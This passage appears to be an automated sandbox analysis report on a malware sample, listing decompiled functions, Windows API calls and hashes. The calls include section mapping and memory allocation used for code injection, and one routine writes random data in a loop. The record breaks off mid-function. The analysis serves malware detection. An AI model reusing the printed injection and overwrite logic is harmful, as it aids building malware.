Instruction Fuzzy Hash: BF510971900249BFEB209F92CC48F9FBBB8FF85B14F104159FA11AA2A5D6749940CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401749 Relevance: 3.0, APIs: 2, Instructions: 40
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 0000000D.00000002.401020433.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_dbjigst.jbxd

Similarity

API ID: SectionView
String ID:
API String ID: 1323581903-0
Opcode ID: 645c41685cf09351304fde75ab205f83a01d627caff4926b51e1c70b330bbf47
Instruction ID: 088a864a315bec2a81033f27f4cad91d314b4a72151043dcf738e9c9ac7e5ebb
Opcode Fuzzy Hash: 645c41685cf09351304fde75ab205f83a01d627caff4926b51e1c70b330bbf47
Instruction Fuzzy Hash: 0E011475500288FEEB219F92CC49FAF7FB9EF82B10F08016AF510B61E5E2714980CB20

Uniqueness

Uniqueness Score: -1.00%

Function 02C3003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 02C3024D

Strings

cess, xrefs: 02C3018D
kernel32.dll, xrefs: 02C3008F, 02C30095

Memory Dump Source

Source File: 0000000D.00000002.402603602.0000000002C30000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2c30000_dbjigst.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: fd138f845daf221564a553f87e6ae7a9839ede97e432baf425e83feb7a45334c
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 14527975A00229DFDB65CF58C984BACBBB1BF09304F1484D9E90DAB351DB30AA85CF14

Uniqueness

Uniqueness Score: -1.00%

Function 02C30E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,02C30223,?,?), ref: 02C30E19
SetErrorMode.KERNELBASE(00000000,?,?,02C30223,?,?), ref: 02C30E1E

Memory Dump Source

Source File: 0000000D.00000002.402603602.0000000002C30000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2c30000_dbjigst.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 620753ad965f63d69eadd59c880b602f741d140fbda77ca14c4d9ac3ebe426c0
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 3DD01232245228B7DB013A94DC09BCEBB5CDF09BA6F008421FB0DE9080CBB09A4046EA

Uniqueness

Uniqueness Score: -1.00%

Function 0040FF16 Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__malloc_crt.LIBCMT ref: 0040FF47

Memory Dump Source

Source File: 0000000D.00000002.401140511.0000000000409000.00000020.00000001.01000000.00000008.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_dbjigst.jbxd

Similarity

API ID: __malloc_crt
String ID:
API String ID: 3464615804-0
Opcode ID: d18bf0e7a5befb7e6eb5015713972bd9792d2fcfd7b0357f9e96854c3e313ecc
Instruction ID: 5392c54d68d4db2a54f79abd2dc3359365efe6df07a1512e561dbd391f1b8ef8
Opcode Fuzzy Hash: d18bf0e7a5befb7e6eb5015713972bd9792d2fcfd7b0357f9e96854c3e313ecc
Instruction Fuzzy Hash: E4F0E9365140125DC63036356C448B7162CDADB36D3110437F5A7E3684E9384C8742A8

Uniqueness

Uniqueness Score: -1.00%

Function 0040C1FE Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0040C213

Memory Dump Source

Source File: 0000000D.00000002.401140511.0000000000409000.00000020.00000001.01000000.00000008.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_dbjigst.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 92bc9d6ff1ea49140ad95c8bd611eb4c2b330745212b2f82e38c0aef0d283f69
Instruction ID: 46a78f87860f62e6d25cc88a2f264df0917638aaf86e95930ddecb06138061c4
Opcode Fuzzy Hash: 92bc9d6ff1ea49140ad95c8bd611eb4c2b330745212b2f82e38c0aef0d283f69
Instruction Fuzzy Hash: 55D05E72990308AADB119FB57D087233BDCE3883D5F044836F90DC6580E774C950D608

Uniqueness

Uniqueness Score: -1.00%

Function 0040BA35 Relevance: 1.5, APIs: 1, Instructions: 4
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__encode_pointer.LIBCMT ref: 0040BA37

Part of subcall function 0040B9C3: RtlEncodePointer.NTDLL(00000000,?,0040BA3C,00000000,004136DF,02B95B28,00000000,00000314,?,0040FA1D,02B95B28,004035D0,00012010), ref: 0040BA2A

Memory Dump Source

Source File: 0000000D.00000002.401140511.0000000000409000.00000020.00000001.01000000.00000008.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_dbjigst.jbxd

Similarity

API ID: EncodePointer__encode_pointer
String ID:
API String ID: 4150071819-0
Opcode ID: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction ID: fb7d1c2ef5f58c3f292d5db54f12fd4695e2c2d6670f670a4bcc42ea06e8f2f6
Opcode Fuzzy Hash: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00401932 Relevance: 1.3, APIs: 1, Instructions: 65
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 22%

			E00401932(void* __eflags, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __edi;
				void* __esi;
				void* _t10;
				void* _t12;
				intOrPtr* _t14;
				void* _t19;
				void* _t20;

				_push(0x1986);
				_push(0x6d);
				_push(0xc5);
				L004011F5(_t19, __eflags);
				_t14 = _a4;
				Sleep(0x1388);
				_push( &_v8);
				_push(_a12);
				_push(_a8);
				_push(_t14); // executed
				_t10 = L00401467(_t19, _t20); // executed
				_t26 = _t10;
				if(_t10 != 0) {
					E00401558(_t14, _t10, _v8, _a16); // executed
				}
				 *_t14(0xffffffff, 0);
				_t12 = 0x1986;
				_push(0x6d);
				_push(0xc5);
				L004011F5(_t19, _t26);
				return _t12;
			}

APIs

Sleep.KERNELBASE(00001388,000000C5,0000006D), ref: 0040198E

Part of subcall function 00401558: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401558: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 0000000D.00000002.401020433.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_dbjigst.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 3fc1ef90b2a5b2730ee9b434eeb4b582bf46cdcd1d0460405fd1be13f8c58862
Instruction ID: f289286abcb0c8361d5bc883c0512fb430ce21eb2a0d87beead029bdd4c1ea53
Opcode Fuzzy Hash: 3fc1ef90b2a5b2730ee9b434eeb4b582bf46cdcd1d0460405fd1be13f8c58862
Instruction Fuzzy Hash: 6C11C2F1208204F7E7006A959D62E7A3669AB01714F304137BA43790F1D57D9913E76F

Uniqueness

Uniqueness Score: -1.00%

Function 0040193D Relevance: 1.3, APIs: 1, Instructions: 60
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 29%

			E0040193D(void* __eax, signed int __ecx, void* __edx, void* __edi, void* __esi) {
				void* _t14;
				void* _t16;
				intOrPtr* _t18;
				void* _t30;
				signed int _t38;

				_t26 = __edi;
				asm("in eax, 0x45");
				_t2 = __eax - 0x7a;
				 *_t2 =  *(__eax - 0x7a) | __ecx;
				_t38 =  *_t2;
				_push(0x1986);
				_push(0x6d);
				_push(0xc5);
				L004011F5(__edi, _t38);
				_t18 =  *((intOrPtr*)(_t30 + 8));
				Sleep(0x1388);
				_push(_t30 - 4);
				_push( *((intOrPtr*)(_t30 + 0x10)));
				_push( *((intOrPtr*)(_t30 + 0xc)));
				_push(_t18); // executed
				_t14 = L00401467(__edi, __esi); // executed
				_t39 = _t14;
				if(_t14 != 0) {
					E00401558(_t18, _t14,  *((intOrPtr*)(_t30 - 4)),  *((intOrPtr*)(_t30 + 0x14))); // executed
				}
				 *_t18(0xffffffff, 0);
				_t16 = 0x1986;
				_push(0x6d);
				_push(0xc5);
				L004011F5(_t26, _t39);
				return _t16;
			}

APIs

Sleep.KERNELBASE(00001388,000000C5,0000006D), ref: 0040198E

Part of subcall function 00401558: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401558: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 0000000D.00000002.401020433.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_dbjigst.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 886c6b7d3fd93a1d42f8c5386c1713bd20b837ff01857d39e84b1d41efe43a78
Instruction ID: 515f5f5985279033342f6d13e0d75d2e799464d7355665022411b06cc3c0c42c
Opcode Fuzzy Hash: 886c6b7d3fd93a1d42f8c5386c1713bd20b837ff01857d39e84b1d41efe43a78
Instruction Fuzzy Hash: 991129F2608285EBD7005BA18DA2EA937659F01710F20057BF6037E0F2D53D9513EB1B

Uniqueness

Uniqueness Score: -1.00%

Function 0040196C Relevance: 1.3, APIs: 1, Instructions: 48
sleepCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E0040196C(void* __ecx, void* __edi, void* __esi, void* __eflags) {
				void* _t9;
				void* _t11;
				intOrPtr* _t13;
				void* _t23;

				_t19 = __edi;
				_pop(es);
				asm("sbb bh, [eax+ebp*2]");
				_push(0xc5);
				L004011F5(__edi, __eflags);
				_t13 =  *((intOrPtr*)(_t23 + 8));
				Sleep(0x1388);
				_push(_t23 - 4);
				_push( *((intOrPtr*)(_t23 + 0x10)));
				_push( *((intOrPtr*)(_t23 + 0xc)));
				_push(_t13); // executed
				_t9 = L00401467(__edi, __esi); // executed
				_t29 = _t9;
				if(_t9 != 0) {
					E00401558(_t13, _t9,  *((intOrPtr*)(_t23 - 4)),  *((intOrPtr*)(_t23 + 0x14))); // executed
				}
				 *_t13(0xffffffff, 0);
				_t11 = 0x1986;
				_push(0x6d);
				_push(0xc5);
				L004011F5(_t19, _t29);
				return _t11;
			}

APIs

Sleep.KERNELBASE(00001388,000000C5,0000006D), ref: 0040198E

Part of subcall function 00401558: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401558: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 0000000D.00000002.401020433.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_dbjigst.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 54672eb5d74a33a50b4e0698c103b24abf47bf219929af624bad9b05e038b79e
Instruction ID: 3e47f40c2c79a3419effdd93610d16f961f2ccd470e9348de27537ec9d0296a5
Opcode Fuzzy Hash: 54672eb5d74a33a50b4e0698c103b24abf47bf219929af624bad9b05e038b79e
Instruction Fuzzy Hash: CA01F2B2208244EFCB005BE58CA1EAA3765AB05315F300133F603B90F2C93C8512EB6B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040BB2A Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

__crt_waiting_on_module_handle.LIBCMT ref: 0040BB47
__lock.LIBCMT ref: 0040BBA2
__lock.LIBCMT ref: 0040BBC3
___addlocaleref.LIBCMT ref: 0040BBE1

Strings

`B, xrefs: 0040BB99
86@, xrefs: 0040BB53

Memory Dump Source

Source File: 0000000D.00000002.401140511.0000000000409000.00000020.00000001.01000000.00000008.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_dbjigst.jbxd

Similarity

API ID: __lock$___addlocaleref__crt_waiting_on_module_handle
String ID: 86@$`B
API String ID: 1628550938-4175524224
Opcode ID: 504b7578ed20731cd17ea031278f014cd093bcb70dfe4600e5912cdc0291efd7
Instruction ID: 3c6cb3fb0a98c6582df657cfaa9ed9a071655c758cab3d2a90d820d0db922b0d
Opcode Fuzzy Hash: 504b7578ed20731cd17ea031278f014cd093bcb70dfe4600e5912cdc0291efd7
Instruction Fuzzy Hash: 85115E71944701EBD720AF2A9D45B9ABBF0AF04314F10453FE499B66E1CB78A9418F9C

Uniqueness

Uniqueness Score: -1.00%

Function 0040B1E1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0040B1ED

Part of subcall function 0040BC8A: __getptd_noexit.LIBCMT ref: 0040BC8D
Part of subcall function 0040BC8A: __amsg_exit.LIBCMT ref: 0040BC9A

__amsg_exit.LIBCMT ref: 0040B20D
__lock.LIBCMT ref: 0040B21D

Strings

`B, xrefs: 0040B244

Memory Dump Source

Source File: 0000000D.00000002.401140511.0000000000409000.00000020.00000001.01000000.00000008.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_dbjigst.jbxd

Similarity

API ID: __amsg_exit$__getptd__getptd_noexit__lock
String ID: `B
API String ID: 3445076945-3602356314
Opcode ID: e38d9cd0440af27b51a5d4fc5c132cd1d79889e0b8e45bffa3906a1fc1a5ee6c
Instruction ID: e6e36b68993df3e8040a5163304010b929fe2b42e9d769154e917eec7994766c
Opcode Fuzzy Hash: e38d9cd0440af27b51a5d4fc5c132cd1d79889e0b8e45bffa3906a1fc1a5ee6c
Instruction Fuzzy Hash: 65015E31A40A11ABD720EB66984975E73A0EF48714F54417FE800B77D1C73C59828BDD

Uniqueness

Uniqueness Score: -1.00%

Function 0040D3E5 Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

__flush.LIBCMT ref: 0040D4A9
__fileno.LIBCMT ref: 0040D4C9
__locking.LIBCMT ref: 0040D4D0
__flsbuf.LIBCMT ref: 0040D4FB

Memory Dump Source

Source File: 0000000D.00000002.401140511.0000000000409000.00000020.00000001.01000000.00000008.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_dbjigst.jbxd

Similarity

API ID: __fileno__flsbuf__flush__locking
String ID:
API String ID: 2259706978-0
Opcode ID: 430dbf7710065038ae6cd640f7b51839118b9976c9628118ea72bb954179c367
Instruction ID: 1463847508441cf8661831fd7c3e7dc1b4ee0eb7c84ce0360ddc8223e1b77c0e
Opcode Fuzzy Hash: 430dbf7710065038ae6cd640f7b51839118b9976c9628118ea72bb954179c367
Instruction Fuzzy Hash: D8418331E00604ABDB24DFE999845AFB7B5AF80324F24853EE855A72C0D778ED59CB48

Uniqueness

Uniqueness Score: -1.00%

Function 0040B94D Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0040B959

Part of subcall function 0040BC8A: __getptd_noexit.LIBCMT ref: 0040BC8D
Part of subcall function 0040BC8A: __amsg_exit.LIBCMT ref: 0040BC9A

__getptd.LIBCMT ref: 0040B970
__amsg_exit.LIBCMT ref: 0040B97E
__lock.LIBCMT ref: 0040B98E

Memory Dump Source

Source File: 0000000D.00000002.401140511.0000000000409000.00000020.00000001.01000000.00000008.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_dbjigst.jbxd

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: 9b2009e78754034a59e2a5f848ae4adcc1214c4d7fa763fde5e61d0ba3e8802d
Instruction ID: c084cad3b0a713dd8a748de4fbd9e6b0c5ecf2b178743782b4ea0afad3ac5189
Opcode Fuzzy Hash: 9b2009e78754034a59e2a5f848ae4adcc1214c4d7fa763fde5e61d0ba3e8802d
Instruction Fuzzy Hash: 2EF01D72A54600DBE620BBA68446B5972A0EF00718F54467FE990B72D2CB3C99428FDE

Uniqueness

Uniqueness Score: -1.00%

Function 0040D8EE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107COMMONLIBRARYCODE

Download Yara Rule

APIs

__fileno.LIBCMT ref: 00413115
__getbuf.LIBCMT ref: 004131AD

Strings

0B, xrefs: 0041311B

Memory Dump Source

Source File: 0000000D.00000002.401140511.0000000000409000.00000020.00000001.01000000.00000008.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_dbjigst.jbxd

Similarity

API ID: __fileno__getbuf
String ID: 0B
API String ID: 2304796792-4003747729
Opcode ID: fe86eaa1068fbcdd953c478e9f58ac5911e241c5389eeafd624586de12d5976f
Instruction ID: 238c9518ae64fbc64a384139eac71993fcdd7c58080ad084bc3265c66ea9700c
Opcode Fuzzy Hash: fe86eaa1068fbcdd953c478e9f58ac5911e241c5389eeafd624586de12d5976f
Instruction Fuzzy Hash: 1D31D672504A006AC7348E6DC8446A777D1AF82375B28871FE8BE877D1D73CAEC2861D

Uniqueness

Uniqueness Score: -1.00%

Function 0040D002 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 0040D024
__calloc_crt.LIBCMT ref: 0040D03D

Strings

(B, xrefs: 0040D069

Memory Dump Source

Source File: 0000000D.00000002.401140511.0000000000409000.00000020.00000001.01000000.00000008.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_dbjigst.jbxd

Similarity

API ID: __calloc_crt
String ID: (B
API String ID: 3494438863-3191114706
Opcode ID: e5d9b9f67e9f41cb9a0c01250d9e63c43d4d1b1ab0257510f4e0fc70bc82ab87
Instruction ID: 7694209953bd8325c9736c855ce1e9d23795536f784e4ceff77b9eb1220e8683
Opcode Fuzzy Hash: e5d9b9f67e9f41cb9a0c01250d9e63c43d4d1b1ab0257510f4e0fc70bc82ab87
Instruction Fuzzy Hash: 5011C171B4421057F3249EAEBD406A227C5FB857A8F24453BE609EB3D5F73D8886924C

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 336E.exePID: 1568, Parent PID: 3452COMMON

Execution Graph

Execution Coverage:	6.8%
Dynamic/Decrypted Code Coverage:	12.6%
Signature Coverage:	5.4%
Total number of Nodes:	1134
Total number of Limit Nodes:	14

Executed Functions

Function 00411470 Relevance: 21.6, APIs: 4, Strings: 8, Instructions: 610
COMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 73%

			E00411470(signed int __ebx, signed int __edx, signed int _a4, signed int _a8) {
				intOrPtr _v0;
				void* _v8;
				void* _v12;
				signed int _v16;
				signed int _v20;
				signed int _v36;
				char _v52;
				intOrPtr _v56;
				intOrPtr* _v60;
				intOrPtr _v64;
				intOrPtr* _v72;
				char _v4116;
				void* _v4120;
				void* _v4124;
				char _v4140;
				void* _v4164;
				void* _v4168;
				void* _v4172;
				void* _v4204;
				char _v4212;
				intOrPtr _v4216;
				intOrPtr _v4236;
				intOrPtr _v4260;
				char _v4312;
				char _v4316;
				void* _v4340;
				void* _v4344;
				void* _v4348;
				void* _v4380;
				char _v4388;
				intOrPtr _v4392;
				intOrPtr _v4408;
				intOrPtr _v4432;
				char _v4484;
				intOrPtr _v4488;
				intOrPtr _v4492;
				char _v4500;
				char _v4504;
				signed char _v4505;
				signed char _v4506;
				signed char _v4507;
				signed char _v4508;
				signed char _v4509;
				signed char _v4510;
				char _v4511;
				signed int _v4512;
				char _v4514;
				char _v4515;
				short _v4516;
				intOrPtr _v4520;
				intOrPtr _v4524;
				char _v4527;
				char _v4528;
				signed int _v4529;
				char* _v4536;
				void* _v4540;
				void* _v4544;
				char _v4560;
				char _v4562;
				short _v4564;
				intOrPtr _v4568;
				intOrPtr _v4572;
				char _v4603;
				signed int _v4604;
				void* _v4608;
				void* _v4612;
				char _v4628;
				intOrPtr _v4632;
				char _v4652;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t342;
				signed int _t343;
				void* _t367;
				void* _t375;
				char* _t386;
				signed int _t387;
				signed int _t395;
				signed int _t402;
				void* _t408;
				signed int _t409;
				signed int _t410;
				signed int _t416;
				void* _t426;
				signed int _t428;
				signed char _t438;
				signed char _t439;
				char* _t443;
				void* _t444;
				char* _t447;
				void* _t477;
				intOrPtr _t479;
				intOrPtr _t483;
				intOrPtr _t487;
				intOrPtr _t491;
				void* _t512;
				void* _t518;
				intOrPtr* _t524;
				void* _t526;
				void* _t532;
				intOrPtr* _t538;
				signed int _t540;
				void* _t549;
				char* _t551;
				void* _t556;
				intOrPtr* _t557;
				intOrPtr* _t558;
				signed int _t559;
				intOrPtr _t560;
				void* _t562;
				signed int _t563;
				signed char _t573;
				signed int _t576;
				void* _t578;
				void* _t579;
				intOrPtr _t580;
				signed int _t581;
				void* _t585;
				void* _t596;
				void* _t597;
				void* _t598;
				void* _t599;
				signed char _t607;
				signed char _t609;
				signed char _t613;
				signed char _t615;
				signed int _t618;
				signed char _t621;
				void* _t622;
				signed int _t624;
				signed char _t629;
				void* _t632;
				signed char _t633;
				void* _t641;
				char* _t642;
				signed char _t643;
				signed int _t644;
				void* _t647;
				void* _t648;
				void* _t649;
				char* _t650;
				intOrPtr* _t651;
				void* _t654;
				signed int _t655;
				void* _t657;
				void* _t659;
				void* _t660;
				signed int _t661;

				_t618 = __edx;
				_t540 = __ebx;
				_push(0xffffffff);
				_push(0x43263c);
				_push( *[fs:0x0]);
				E00414250(0x121c);
				_t342 =  *0x443048; // 0x7239e5fc
				_t343 = _t342 ^ _t655;
				_v20 = _t343;
				_push(_t648);
				_push(_t641);
				_push(_t343);
				 *[fs:0x0] =  &_v16;
				_v4536 = 0;
				_t346 =  >=  ?  *0x443aec : 0x443aec;
				CreateDirectoryA( >=  ?  *0x443aec : 0x443aec, 0); // executed
				E00415180(_t641,  &_v4500, 0, 0xb8);
				_v4500 = 0x43ea7c;
				_v4380 = 0;
				_v4348 = 0;
				_v4344 = 0;
				_v4340 = 0;
				_v8 = 0;
				_v4536 = 8;
				asm("xorps xmm0, xmm0");
				_v4388 = 0x43ea88;
				_v4392 = 0x58;
				asm("movlpd [ebp-0x1188], xmm0");
				E00407F70( &_v4388, _t618,  *0x443b00 - 0x10,  &_v4484);
				_v8 = 2;
				 *((intOrPtr*)(_t655 +  *((intOrPtr*)(_v4500 + 4)) - 0x1190)) = 0x43ea90;
				_t22 = _v4500 + 4; // 0x43f75c
				_t23 =  *_t22 - 0x70; // 0x43f6ec
				 *((intOrPtr*)(_t655 +  *_t22 - 0x1194)) = _t23;
				E00407040( &_v4484,  *0x443b00 - 0x10);
				_v8 = 3;
				E00415180(_t641,  &_v4316, 0, 0xb0);
				_v4316 = 0x43ea74;
				_v4204 = 0;
				_v4172 = 0;
				_v4168 = 0;
				_v4164 = 0;
				_t659 = _t657 + 0x10;
				_v8 = 4;
				_v4536 = 0x28;
				_v4212 = 0x43ea98;
				_v4216 = 0x60;
				E00407F70( &_v4212, _t618,  *0x443b00 - 0x10,  &_v4312);
				_v8 = 6;
				 *((intOrPtr*)(_t655 +  *((intOrPtr*)(_v4316 + 4)) - 0x10d8)) = 0x43ea70;
				_t45 =  &_v4316; // 0x43ea70
				_t47 =  *((intOrPtr*)( *_t45 + 4)) - 0x68; // -104
				 *((intOrPtr*)(_t655 +  *((intOrPtr*)( *_t45 + 4)) - 0x10dc)) = _t47;
				E00407040( &_v4312,  *0x443b00 - 0x10);
				_v8 = 7;
				_t367 =  >=  ?  *0x443abc : 0x443abc;
				if(_v4408 != 0) {
					L6:
					_t549 =  &_v4500 +  *((intOrPtr*)(_v4500 + 4));
					__eflags =  *(_t549 + 0x38);
					_t372 = 0x00000002 + ( *(_t549 + 0x38) == 0x00000000) * 0x00000004 |  *(_t549 + 0xc);
					__eflags = 0x00000002 + ( *(_t549 + 0x38) == 0x00000000) * 0x00000004 |  *(_t549 + 0xc);
				} else {
					_push(0x40);
					_push(0x21);
					_t526 = E00412A0C(_t618, _t367); // executed
					_t659 = _t659 + 0xc;
					if(_t526 == 0) {
						goto L6;
					} else {
						E00406E40( &_v4484, _t526, 1);
						_t613 =  *(_v4432 + 4);
						_v4508 = _t613;
						 *((intOrPtr*)( *_t613 + 4))();
						_v8 = 8;
						_t532 = E00408400(__ebx, _t618, _t641, _t648,  &_v4512);
						_t659 = _t659 + 4;
						E00406CE0( &_v4484, _t532);
						_v8 = 7;
						_t615 = _v4508;
						if(_t615 != 0) {
							_t538 =  *((intOrPtr*)( *((intOrPtr*)( *_t615 + 8))))();
							if(_t538 != 0) {
								 *((intOrPtr*)( *_t538))(1);
							}
						}
						_t618 = 0;
						_t549 =  &_v4500 +  *((intOrPtr*)(_v4500 + 4));
						_t372 =  !=  ? 0 : 4;
					}
				}
				E00403A00(_t540, _t549, _t372, 0);
				_t375 =  >=  ?  *0x443ad4 : 0x443ad4;
				if(_v4236 != 0) {
					L13:
					_t93 =  &_v4316; // 0x43ea70
					_t94 =  &_v4316; // 0x43ea70
					_t551 = _t94 +  *((intOrPtr*)( *_t93 + 4));
					__eflags =  *(_t551 + 0x38);
					_t380 = 0x00000002 + ( *(_t551 + 0x38) == 0x00000000) * 0x00000004 |  *(_t551 + 0xc);
					__eflags = 0x00000002 + ( *(_t551 + 0x38) == 0x00000000) * 0x00000004 |  *(_t551 + 0xc);
				} else {
					_push(0x40);
					_push(0x32);
					_t512 = E00412A0C(_t618, _t375); // executed
					_t659 = _t659 + 0xc;
					if(_t512 == 0) {
						goto L13;
					} else {
						E00406E40( &_v4312, _t512, 1);
						_t607 =  *(_v4260 + 4);
						_v4508 = _t607;
						 *((intOrPtr*)( *_t607 + 4))();
						_v8 = 9;
						_t518 = E00408400(_t540, _t618, _t641, _t648,  &_v4512);
						_t659 = _t659 + 4;
						E00406CE0( &_v4312, _t518);
						_v8 = 7;
						_t609 = _v4508;
						if(_t609 != 0) {
							_t524 =  *((intOrPtr*)( *((intOrPtr*)( *_t609 + 8))))();
							if(_t524 != 0) {
								 *((intOrPtr*)( *_t524))(1);
							}
						}
						_t618 = 0;
						_t551 =  &_v4316 +  *((intOrPtr*)(_v4316 + 4));
						_t380 =  !=  ? 0 : 4;
					}
				}
				E00403A00(_t540, _t551, _t380, 0);
				while(( *(_t655 +  *((intOrPtr*)(_v4500 + 4)) - 0x1184) & 0x00000001) == 0) {
					_t659 = _t659 - 8;
					E00412050( &_v4500, _t618,  &_v4116); // executed
					_push(_v4488);
					_push(_v4492);
					_t551 =  &_v4316;
					_push( &_v4116); // executed
					L56(); // executed
				}
				E0041BF04(_t551, E0041BE7B(_t551, _t618, 0));
				_push(0x100000); // executed
				_t386 = E0041BF16(); // executed
				_t660 = _t659 + 0xc;
				_v4536 = _t386;
				_t387 = E0041BEE3(_t551);
				asm("cdq");
				_t642 = _v4536;
				_t649 = 0;
				_v4508 = _t387 % 0x96 + 0x2bc;
				do {
					 *((char*)(_t649 + _t642)) = E0041BEE3(0x96);
					_t649 = _t649 + 1;
				} while (_t649 < 0x100000);
				_t643 = _v4508;
				_t650 = _v4536;
				if(_t643 > 0) {
					do {
						_push(0);
						_push(0x100000);
						_push(_t650);
						L56(); // executed
						_t643 = _t643 - 1;
					} while (_t643 != 0);
				}
				E0041AC1E(_t650); // executed
				_t661 = _t660 + 4;
				E00407DB0( &_v4316);
				if(E00406F50( &_v4312) == 0) {
